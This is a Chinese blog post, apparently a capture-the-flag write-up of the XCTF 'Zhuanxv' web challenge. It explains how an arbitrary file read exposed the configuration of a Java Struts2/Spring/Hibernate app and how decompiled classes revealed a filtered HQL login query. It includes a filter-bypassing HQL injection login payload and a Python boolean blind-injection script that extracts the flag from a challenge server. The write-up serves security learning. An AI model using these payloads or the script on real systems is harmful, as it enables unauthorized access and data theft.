【xctf之Zhuanxv】

在这里插入图片描述
打开链接地址,发现就一个这,没任何提示。那就web目录先来一波扫描。
在这里插入图片描述
发现了一个页面,先看下。
在这里插入图片描述
是个后台登陆界面,大胆猜测存在弱口令?爆破失败。
没办法了,先看看网页源码还有网络请求吧。
在这里插入图片描述
看到这个请求是请求背景图片加载,看着和正常的图片加载感觉不太一样,是不是存在任意文件读取呢?
尝试文件读取fuzz,失败。(有一说一,到这我就没思路了。。。。。我是真的菜。)
看了官方writeup,发现github搜索了下Zhuanxv,可是我找到git项目的时候啥也没有就一个没用的默认用户和密码。后来又看了几个writeup,发现
在这里插入图片描述
相信对java开发了解点的都知道这是javaweb项目的特点。
那么java项目就有一个特点了/WEB-INF/web.xml这是肯定存在的,那就先fuzz下。
在这里插入图片描述
在这里插入图片描述
下载的是个图片,将图片格式改成xml格式,发现确实可以存在任意文件读取的漏洞。
通过web.xml我们可以看到mvc模型中view层采用了struts2框架,百度下struts2框架的配置文件先。
在这里插入图片描述
我们发现struts2的配置文件为struts.xml通常放在/WEB-INF/class/struts.xml.
可以下载下来。
在这里插入图片描述
发现了配置action的类文件,这些类文件全部在/WEB-INF/class/目录下,可以下载下来,然后使用jd-gui反编译后可以查看源码。
看完反编译后的源码发现,信息不够。正常来讲,github上的项目应该给我们一个框架提示,但我看的时候是什么也没有了。正常情况下一般要不放弃了,如果熟悉java开发框架的话,都应该清楚,一般javaweb开发前端使用struts2,大概率是ssh框架整合,struts2,spring,hibernate。那先找下spring框架的配置文件还有hibernate框架的配置文件吧。
在这里插入图片描述
正常情况下ssh框架配置如上,我们发现applicationContext.xml文件在src文件夹下,这个文件我们是无权限访问的,我们只能在webroot目录下读取文件,甚至正常情况下,我们只能读取.jsp文件才对,WEB-INF目录中的文件也不可以被读取的,但谁让这个项目存在任意文件读取呢。
在这里插入图片描述
经过百度,发现applicationContext.xml文件也可以存在于WEB-INF下面。
成功下载下来了。
在这里插入图片描述
看到这就知道这个确实是ssh框架整合的javaweb项目了。
在这里插入图片描述

把上面爆露出的class文件下载下来,发现UserServiceImpl.class中过滤了=与空格。
在这里插入图片描述
这个会将name中的空格与等号使用空白符替代,并且在下面的if判断中判断通过正则匹配的password是否是只存在字母与数字,如果是就返回过滤后的name以及password。
在这里插入图片描述
hsql语句如上,好了,到这才明白这个是让我们使用sql注入的方式进行获取flag。
尝试下注入登录。
在这里插入图片描述
ok,成功登录。

payload=admin'
or
'1'>'0'
or
name
like
'admin

在这里插入图片描述
此处限制了我们必须找到一个存在账户,并且只能是一个。所以必须有个like。
那么flag大概率存在数据库中。
不要忘记,我们还有一个信息没有使用,hiberbate配置文件。
在这里插入图片描述
user.hbm.xml文件,下载这个文件同理applicationContext.xml下载地址。
在这里插入图片描述
我们可以看到,对应表格以及falg对应的cloumn。

我们只能使用盲注,而盲注一般为基于布尔型与基于时间的注入,这里最方便的就是基于布尔型注入。

import requests
s=requests.session()

flag=''
for i in range(1,50):
    p=''
    for j in range(1,255):
        payload="(select%0Aascii(substr(welcometoourctf,"+str(i)+",1))%0Afrom%0AFlag)<'"+str(j)+"'"
        url="http://61.147.171.105:56092/zhuanxvlogin?user.name=admin'%0Aor%0A"+payload+"%0Aor%0Aname%0Alike%0A'admin&user.password=1"
        r1=s.get(url)
        if len(r1.text)>20000 and p!='':
            flag+=p
            print(str(i)+":"+flag)
            break
        p=chr(j)

这也是官方writeup给的脚本,唯一不同的就是官方wirte给的 是使用id列注入,我用的就是welcometoourctf列进行注入的。

总结:总体来讲这道题,较为复杂,难点在于信息的搜集,从登陆页面发现任意文件读取,到发现web项目是ssh框架集成,再到下载/WEB-INF目录下的文件。这道题很需要细心和耐心。

参考链接

xctf官方链接:https://adworld.xctf.org.cn/challenges/write-up?hash=ab3e7454-5dc0-4157-8c3d-d77e5e1b7de0_2

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值